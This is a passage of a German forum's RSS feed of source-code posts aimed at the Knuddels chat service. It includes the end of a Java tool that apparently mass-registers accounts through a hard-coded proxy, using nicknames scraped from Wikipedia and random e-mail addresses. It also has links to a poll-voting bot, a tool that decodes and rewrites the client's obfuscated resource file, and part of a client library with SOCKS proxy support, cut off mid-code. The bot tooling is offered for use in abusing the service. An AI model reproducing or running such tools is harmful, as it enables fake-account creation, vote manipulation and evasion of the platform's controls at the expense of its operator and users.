&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; builder.append((char) (s.charAt(i) ^ rand.nextInt() &gt;&gt; 3 &amp; 0x7F));<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; output.writeUTF(builder.toString());<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private String generateMail() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return Long.toHexString(rnd.nextLong()) + &quot;@&quot; + (rnd.nextBoolean() ? &quot;gmx.net&quot; : &quot;hotmail.de&quot;);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private String generateNick(int minLen, boolean subst) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; StringBuilder content = new StringBuilder();<br />
&nbsp; &nbsp; &nbsp; &nbsp; try {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; URL url = new URL(&quot;http://de.wikipedia.org/w/index.php?title=Spezial:Zuf%C3%A4llige_Seite&amp;printable=yes&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BufferedReader reader = new BufferedReader(new InputStreamReader(url.openStream()));<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String s = null;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while ((s = reader.readLine()) != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; content.append(s).append(&quot;\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; } catch (IOException ioe) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; String clearContent = content.toString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; clearContent = clearContent.substring(0, clearContent.indexOf(&quot;Von „&lt;a href=&quot;)).substring(clearContent.indexOf(&quot;&lt;!-- bodytext --&gt;&quot;)).replaceAll(&quot;&lt;[^&lt;]+&gt;&quot;, &quot;&quot;).trim();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; String[] words = clearContent.split(&quot;\\s&quot;);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (String word : words) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (word.length() &gt;= minLen<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &amp;&amp; !word.equals(&quot;[Bearbeiten]&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &amp;&amp; word.matches(&quot;[a-zA-Z0-9-]+&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &amp;&amp; (subst ? Character.isUpperCase(word.charAt(0)) : true)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StringBuilder finalNick = new StringBuilder();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; word.length(); i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; switch (word.charAt(i)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'e':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; finalNick.append(rnd.nextBoolean() ? &quot;3&quot; : &quot;e&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'i':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; finalNick.append(rnd.nextBoolean() ? &quot;1&quot; : &quot;i&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'o':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; finalNick.append(rnd.nextBoolean() ? &quot;0&quot; : &quot;o&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 'g':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; finalNick.append(rnd.nextBoolean() ? &quot;q&quot; : &quot;g&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case 's':<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; finalNick.append(rnd.nextBoolean() ? &quot;5&quot; : &quot;s&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; default:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; finalNick.append(word.charAt(i));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return finalNick.toString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; return generateNick(minLen, subst);<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div>Aufruf:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">new Regger(&quot;knuddels.net&quot;, 4242, &quot;69.120.128.180&quot;, 27977, &quot;k-script.cc&quot;);</code><hr />
</div>Wobei die ersten beiden Parameter den Chatserver repräsentieren, die nächsten beiden den Proxy und der letzte das zu verwendene Password.<br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>KrT</dc:creator>
			<guid isPermaLink="true">sourcecode-91/mfc-proxy-regger-opensource-30997</guid>
		</item>
		<item>
			<title><![CDATA[[C#-OS] Umfragen Bot Sample]]></title>
			<link>sourcecode-91/c-os-umfragen-bot-sample-30592?goto=newpost</link>
			<pubDate>Mon, 09 May 2011 19:02:45 GMT</pubDate>
			<description>Nabend, 
 
hier habt Ihr ein Sample, womit Ihr kinderleicht einen Umfragen Bot erstellen könnt. 
Wer keine Ahnung hat, soll es auch nicht...</description>
			<content:encoded><![CDATA[<div>Nabend,<br />
<br />
hier habt Ihr ein Sample, womit Ihr kinderleicht einen Umfragen Bot erstellen könnt.<br />
Wer keine Ahnung hat, soll es auch nicht runterladen. In dem Sample sind 2 versch. Beispieltokens enthalten.<br />
<br />
<img src="https://u-img.net/img/5338Sv.png" border="0" alt="" /><br />
<br />
Ist sehr einfach gehalten, sollten auch die meisten Anfänger verstehen!<br />
<br />
[HIDE]<br />
<br />
Download: <a href="http://ul.to/abhoms4d" target="_blank" rel="nofollow">Umfragen Bot Sample</a><br />
[/hide]<br />
<br />
Downloadlink erneuert - 27.01.2012</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-os-umfragen-bot-sample-30592</guid>
		</item>
		<item>
			<title>K-Script Client OPENSOURCE</title>
			<link>sourcecode-91/k-script-client-opensource-29766?goto=newpost</link>
			<pubDate>Tue, 03 May 2011 21:06:16 GMT</pubDate>
			<description>Nabend, 
 
keine Lust mehr den Client ständig zu updaten. Könnt Ihr dann selber tun. Ob Ihr es dann uploadet, 
bleibt Euch überlassen. Aber will...</description>
			<content:encoded><![CDATA[<div>Nabend,<br />
<br />
keine Lust mehr den Client ständig zu updaten. Könnt Ihr dann selber tun. Ob Ihr es dann uploadet,<br />
bleibt Euch überlassen. Aber will keinen neuen Client sehen, der auf diesen hier basiert. thx<br />
[hide=30]<br />
<a href="http://x7.to/y0bl8y" target="_blank" rel="nofollow">K-Script Client OPENSOURCE</a><br />
[/hide]<br />
Have Fun.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">sourcecode-91/k-script-client-opensource-29766</guid>
		</item>
		<item>
			<title>Ressource + Tool</title>
			<link>sourcecode-91/ressource-tool-30743?goto=newpost</link>
			<pubDate>Sat, 23 Apr 2011 11:56:19 GMT</pubDate>
			<description>Guten Tag, 
 
Knuddels verwaltet seine Ressourcen in einer als Klasse getarnten Datei  (aktuell za.class). Diese Datei ist allerdings keine Klasse,...</description>
			<content:encoded><![CDATA[<div>Guten Tag,<br />
<br />
Knuddels verwaltet seine Ressourcen in einer als Klasse getarnten Datei  (aktuell za.class). Diese Datei ist allerdings keine Klasse, sondern  eine verschlüsselte Textdatei.<br />
Ihr kennt es sicherlich aus dem Applet, wenn ein String als xx.a(1234) dargestellt ist.<br />
<br />
Die Datei ist in zwei Teile aufgebaut. Einmal in den kodierten Teil, der  erste dekodiert werden muss und dann in den Raw-Teil, zu dem wir später  kommen. <br />
Teil 1 besteht aus 2 Teilen, dem Header und dem Content.<br />
<br />
<b>Header (3 bytes)</b><br />
Die ersten drei Bytes ergeben als 24bit-Integer die Länge des Contents, also:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">int len = buffer[0] &lt;&lt; 16 | buffer[1] &lt;&lt; 8 | buffer[2];</code><hr />
</div> Die Länge ist die Länge der Datei minus drei, da die ersten drei Bytes nicht mehr gebraucht werden. <br />
Das dritte Byte hat noch eine Sonderfunktion, es stellt das Decodebyte  der Datei da, welche mit einer sehr simplen xor-Kodierung verschlüsselt  ist.<br />
<br />
<b>Content (len bytes)</b><br />
Der Content setzt sich auch sehr einfach zusammen.<br />
<i>rLen (1 byte)</i><br />
<i>res (n bytes)</i><br />
<br />
Also zB:<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">00000000&nbsp; 09 4b 45 59 5f 56 41 4c&nbsp; 55 45&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .KEY_VALUE</code><hr />
</div>Die 0x09 gibt die Länge des Strings an. In diesem Fall halt 9. Um nun an  einen String zu kommen gibt man der Funktion die Stelle, an der der  String anfängt. Die Funktion geht dann zu Position - 1 und liest die  Länge aus, und erhält so den String.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">import java.io.InputStream;<br />
import java.io.FileInputStream;<br />
import java.io.IOException;<br />
import java.io.FileOutputStream;<br />
<br />
class kRes {<br />
<br />
&nbsp; &nbsp;  public static void main(String[] args) throws Exception {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(args.length == 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  System.out.println(&quot;kRes-Analysor v1.0 by KrT @ banana-coding / k-script&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  return;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String resFile = args[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try { <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if(!load(resFile)) System.err.println(&quot;[ERROR] unknown i/o error&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch(IOException ioe) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  System.err.println(&quot;[ERROR] resfile isn't there&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(args[1].equals(&quot;get&quot;)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  System.out.println(getRes(Integer.parseInt(args[2])));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else if(args[1].equals(&quot;put&quot;)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  System.out.println(setRes(resFile, args[2]));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp;  }<br />
&nbsp; &nbsp;  <br />
&nbsp; &nbsp;  static byte[] buffer;<br />
&nbsp; &nbsp;  static String[] stringBuffer = new String[256];<br />
&nbsp; &nbsp;  static int[] posBuffer = new int[256]; <br />
&nbsp; &nbsp;  <br />
&nbsp; &nbsp;  static String getRes(int pos) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int posByte = pos &amp; 0xFF; // Auf 8 Bit trimmen<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // Wenns im buffer noch nicht vorhanden ist, adden.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(posBuffer[posByte] != pos) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  posBuffer[posByte] = pos;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  pos = pos &lt; 0 ? pos &amp; 0xFFFF : pos;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  String returnStr = new String(buffer, 0, pos, buffer[pos - 1] &amp; 0xFF).intern();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  stringBuffer[posByte] = returnStr;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return stringBuffer[posByte];<br />
&nbsp; &nbsp;  }<br />
&nbsp; &nbsp;  <br />
&nbsp; &nbsp;  static int setRes(String fileName, String res) throws IOException{<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FileOutputStream out = new FileOutputStream(fileName, false);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int nLen = buffer.length + res.length() + 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] bLen = new byte[3];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bLen[2] = (byte) nLen;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bLen[1] = (byte) (nLen &gt;&gt; 8);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bLen[0] = (byte) (nLen &gt;&gt; 16);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out.write(bLen);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] newBuffer = new byte[nLen];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.arraycopy(buffer, 0, newBuffer, 0, buffer.length);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.arraycopy(new byte[] { (byte) res.length() }, 0, newBuffer, buffer.length, 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.arraycopy(res.getBytes(), 0, newBuffer, buffer.length + 1, res.length());<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(int i = 0; i &lt; newBuffer.length; newBuffer[i] = (byte) (newBuffer[i++] ^ bLen[2]));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out.write(newBuffer);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out.flush();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out.close();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return buffer.length + 1;<br />
&nbsp; &nbsp;  }<br />
&nbsp; &nbsp;  <br />
&nbsp; &nbsp;  static boolean load(String resFile) throws IOException {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InputStream resourceStream = new FileInputStream(resFile);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(resourceStream != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  // Die ersten drei Bytes geben die Länge des Puffers an (Puffergröße = Dateigröße)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  byte decodeByte;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  int len = resourceStream.read() &lt;&lt; 16 |&nbsp; resourceStream.read() &lt;&lt; 8 | (decodeByte = (byte)&nbsp; resourceStream.read());<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  len = len &lt; 0 ? len &amp; 0xFFFF : len; // signed fix<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  buffer = new byte[len];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  int offset = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  while(len &gt; 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int res;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if((res = resourceStream.read(buffer, offset, len))&nbsp; &lt; 0) break; // Liest len bytes aus dem Stream (angefangen bei i)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; len -= res; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; res += offset;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while(offset &lt; res) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  buffer[offset] = (byte) (buffer[offset++] ^ decodeByte); // simple xor<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  } <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  return true;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;<br />
&nbsp; &nbsp;  }<br />
}</code><hr />
</div>Diese Klasse kann diese Datei dekodieren und einkodieren, also Einträge  entfernen und neue hinzufügen. Ist natürlich nur ein Beispielprojekt und  erweiterbar.<br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>KrT</dc:creator>
			<guid isPermaLink="true">sourcecode-91/ressource-tool-30743</guid>
		</item>
		<item>
			<title><![CDATA[[Java] Library (KJLib)]]></title>
			<link>sourcecode-91/java-library-kjlib-31648?goto=newpost</link>
			<pubDate>Fri, 22 Apr 2011 18:54:02 GMT</pubDate>
			<description>Hier ist nochmal die neueste Version der KJLib (v9.0adb) inkl. Source, hatte ich schonmal released aber aus Gründen an die ich mich nicht mehr...</description>
			<content:encoded><![CDATA[<div>Hier ist nochmal die neueste Version der KJLib (v9.0adb) inkl. Source, hatte ich schonmal released aber aus Gründen an die ich mich nicht mehr erinnere hatte ich den Thread dann von Johnny löschen lassen. Ist eigentlich das Gleiche wie die KNLib (v1), nur in Java. Ich glaube in der KNLib hatte ich noch den ein oder anderen Fix mal eingebaut, den ich hier nicht mehr eingebaut habe, müsstet ihr euch dann rüberkopieren wenn es euch wirklich interessiert.<br />
<br />
<b>RemoteEndpoint.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public enum RemoteEndpoint {<br />
&nbsp; &nbsp; DE(&quot;knuddels.net&quot;, 2710),<br />
&nbsp; &nbsp; AT(&quot;knuddels.net&quot;, 2711),<br />
&nbsp; &nbsp; CH(&quot;knuddels.net&quot;, 2712),<br />
&nbsp; &nbsp; COM(&quot;knuddels.com&quot;, 2713),<br />
&nbsp; &nbsp; TEST(&quot;knuddels.net&quot;, 2720),<br />
&nbsp; &nbsp; MFC(&quot;knuddels.net&quot;, 4242);<br />
<br />
&nbsp; &nbsp; private String host;<br />
&nbsp; &nbsp; private int port;<br />
<br />
&nbsp; &nbsp; private RemoteEndpoint(String host, int port) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.host = host;<br />
&nbsp; &nbsp; &nbsp; &nbsp; this.port = port;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public String getHost() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return host;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public int getPort() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return port;<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div><b>KJClient.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">import java.io.InputStream;<br />
import java.io.IOException;<br />
import java.io.OutputStream;<br />
import java.net.InetSocketAddress;<br />
import java.net.Proxy;<br />
import java.net.Socket;<br />
import java.net.UnknownHostException;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class KJClient extends Thread {<br />
&nbsp; &nbsp; private static pS groupChat;<br />
&nbsp; &nbsp; private Socket socket;<br />
&nbsp; &nbsp; private OutputStream out;<br />
&nbsp; &nbsp; private byte[] decodeKey;<br />
&nbsp; &nbsp; private String passwordKey;<br />
&nbsp; &nbsp; private String nickname, password, channel;<br />
&nbsp; &nbsp; private String butler;<br />
<br />
&nbsp; &nbsp; static {<br />
&nbsp; &nbsp; &nbsp; &nbsp; groupChat = new pS(&quot;&quot;, 0);<br />
&nbsp; &nbsp; &nbsp; &nbsp; groupChat.init();<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private void init() throws IOException {<br />
&nbsp; &nbsp; &nbsp; &nbsp; out = socket.getOutputStream();<br />
&nbsp; &nbsp; &nbsp; &nbsp; decodeKey = null;<br />
&nbsp; &nbsp; &nbsp; &nbsp; passwordKey = null;<br />
&nbsp; &nbsp; &nbsp; &nbsp; nickname = null;<br />
&nbsp; &nbsp; &nbsp; &nbsp; start();<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void connect(RemoteEndpoint endpoint) throws UnknownHostException, IOException {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (!isConnected()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; socket = new Socket(endpoint.getHost(), endpoint.getPort());<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; init();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void connect(RemoteEndpoint endpoint, String proxyHost, int proxyPort) throws UnknownHostException, IOException {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (!isConnected()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; socket = new Socket(new Proxy(Proxy.Type.SOCKS, new InetSocketAddress(proxyHost, proxyPort)));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; socket.connect(new InetSocketAddress(endpoint.getHost(), endpoint.getPort()));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; init();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void disconnect() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (socket != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!socket.isClosed()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; socket.close();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (IOException e) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; socket = null;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public boolean isConnected() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return socket != null &amp;&amp; socket.isConnected();<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void send(String token) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isConnected()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (token.startsWith(&quot;n\000&quot;)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (passwordKey == null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String[] tokens = token.split(&quot;\000&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; nickname = tokens[2];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; password = tokens[3];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; channel = tokens[1];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; token += &quot;\000&quot; + passwordKey;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] buffer;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; synchronized (groupChat) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer = groupChat.compress(token);<br />
